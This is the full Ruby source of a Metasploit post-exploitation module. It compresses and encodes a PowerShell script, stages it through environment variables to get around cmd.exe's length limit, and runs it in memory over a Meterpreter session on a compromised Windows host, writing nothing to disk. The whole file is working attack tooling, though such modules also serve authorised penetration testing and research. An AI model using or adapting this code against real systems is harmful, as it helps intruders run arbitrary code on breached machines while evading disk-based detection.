## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## ## # Original script comments by nick[at]executionflow.org: # Meterpreter script to deliver and execute powershell scripts using # a compression/encoding method based on the powershell PoC code # from rel1k and winfang98 at DEF CON 18. This script furthers the # idea by bypassing Windows' command character lmits, allowing the # execution of very large scripts. No files are ever written to disk. ## require 'zlib' # TODO: check if this can be done with REX class MetasploitModule < Msf::Post include Msf::Post::Windows::Powershell def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Manage PowerShell Download and/or Execute', 'Description' => %q{ This module will download and execute a PowerShell script over a meterpreter session. The user may also enter text substitutions to be made in memory before execution. Setting VERBOSE to true will output both the script prior to execution and the results. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => [ 'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script 'RageLtMan ' # post module ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ stdapi_sys_config_sysinfo ] } }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [], 'Reliability' => [] } ) ) register_options( [ OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]), ] ) register_advanced_options( [ OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]), OptBool.new('DELETE', [false, 'Delete file after execution', false ]), OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ]) ] ) end def run fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter' fail_with(Failure::BadConfig, 'PowerShell is not installed') unless have_powershell? # End of file marker eof = Rex::Text.rand_text_alpha(8) env_suffix = Rex::Text.rand_text_alpha(8) # check/set vars subs = process_subs(datastore['SUBSTITUTIONS']) script_in = read_script(datastore['SCRIPT']) print_status(script_in) # Make substitutions in script if needed script_in = make_subs(script_in, subs) unless subs.empty? # Compress print_status('Compressing script contents.') compressed_script = compress_script(script_in, eof) if datastore['DRY_RUN'] print_good("powershell -EncodedCommand #{compressed_script}") return end # If the compressed size is > 8100 bytes, launch stager if (compressed_script.size > 8100) print_error("Compressed size: #{compressed_script.size}") error_msg = 'Compressed size may cause command to exceed ' error_msg += "cmd.exe's 8kB character limit." print_error(error_msg) print_status('Launching stager:') script = stage_to_env(compressed_script, env_suffix) print_good('Payload successfully staged.') else print_good("Compressed size: #{compressed_script.size}") script = compressed_script end # Execute the powershell script print_status('Executing the script.') cmd_out = psh_exec(script) if cmd_out.nil? error_msg = "Powershell command returned a nil value; this could be because the command timed out.\n" error_msg << 'You may want to increase the Powershell::Post::timeout value and try again.' print_warning(error_msg) end print_status(cmd_out.to_s) # That's it print_good('Finished!') end end